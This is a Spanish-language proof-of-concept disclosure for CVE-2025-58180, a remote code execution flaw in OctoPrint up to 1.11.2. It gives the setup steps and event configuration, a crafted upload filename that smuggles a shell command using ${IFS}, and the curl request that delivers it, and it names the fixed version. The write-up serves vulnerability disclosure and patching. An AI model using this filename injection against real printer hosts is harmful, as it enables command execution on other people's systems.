CVE-2025-58180 RCE en OctoPrint a través de un nombre de archivo sin saneamiento en la subida de archivos

En OctoPrint versión <=1.11.2, un atacante con acceso de subida de archivos (p. ej., una clave API válida o una sesión) puede crear un nombre de archivo malicioso que evade el saneamiento y que posteriormente es ejecutado por el sistema de eventos de OctoPrint, lo que conduce a la ejecución remota de código (RCE) en el host

---

PoC: Pasos para reproducir la vulnerabilidad

Paso 1: Información de la versión

Descargada la última versión estable: OctoPrint 1.11.2

---

Paso 2: Ejecutar OctoPrint

octoprint serve --port 5000 --debug

• Abrir http://127.0.0.1:5000 en el navegador.
• Completar el asistente inicial → crear usuario con la configuración predeterminada (deshabilitadas: conectividad, anónimo, plugin).
• Obtener la clave API de Ajustes → API → guardarla para más tarde.

Detener el servicio de OctoPrint una vez realizados los pasos anteriores.

---

Paso 3: Configurar la suscripción a eventos

Siguiendo la documentación de eventos de OctoPrint:

Editar ~/.octoprint/config.yaml:

events:
  enabled: true
  subscriptions:
    - event: FileAdded
      type: system
      debug: true
      command: "{path}"

---

Paso 4: Crear un G-code de ejemplo

Crear /tmp/gcode/ok.gcode:

; minimal gcode
G28
M105

Reiniciar el servicio de OctoPrint.

---

Paso 5: Prueba de concepto de RCE

1. Exportar la clave API:

export API_KEY='<key previously gathered from webUI>'

2. Verificar que el archivo no existe:

ls -la /tmp/test123

3. Crear el payload del nombre de archivo malicioso:
   INJECT_NAME='octo;touch${IFS}/tmp/test123;#.gcode'

Explicación: ${IFS} es el Separador de Campos Interno (Internal Field Separator) del shell (normalmente un espacio). Evita el saneamiento cuando se inyecta.

4. Enviar la petición curl:

curl -sS -X POST -H "X-Api-Key: $API_KEY" \
  -F "file=@/tmp/gcode/ok.gcode;filename=\"${INJECT_NAME}\"" \
  "http://127.0.0.1:5000/api/files/local"

5. Verificar la ejecución:

ls -la /tmp/test123

Si /tmp/test123 existe, el comando inyectado se ejecutó correctamente → RCE confirmado.

---

Explicación del flujo

[User upload with crafted filename]
        │
        ▼
server/api/files.py → accepts raw filename (metacharacters survive sanitize_name)
        │
        ▼
events.py (EventManager.fire "FileAdded") → payload {path} includes raw chars
        │
        ▼
system command subscriber → subprocess.check_call(..., shell=True)
        │
        ▼
[Injected shell metacharacters execute as OS commands]

---

Resumen

Cuando se sube un archivo:

1. OctoPrint acepta el nombre de archivo (con saneamiento limitado).
2. Se dispara un evento FileAdded.
3. Si hay comandos del sistema suscritos a este evento, el nombre de archivo sin procesar (incluyendo ;, ${IFS}, etc.) se pasa a un shell.
4. Esto permite que los comandos inyectados dentro del nombre de archivo se ejecuten en el host.

Resultado: Ejecución remota de código (RCE) en el sistema host.

Referencias

• CVE asignado:(CVE-2025-58180) GHSA-49mj-x8jp-qvfc
• Versión corregida: 1.11.3

---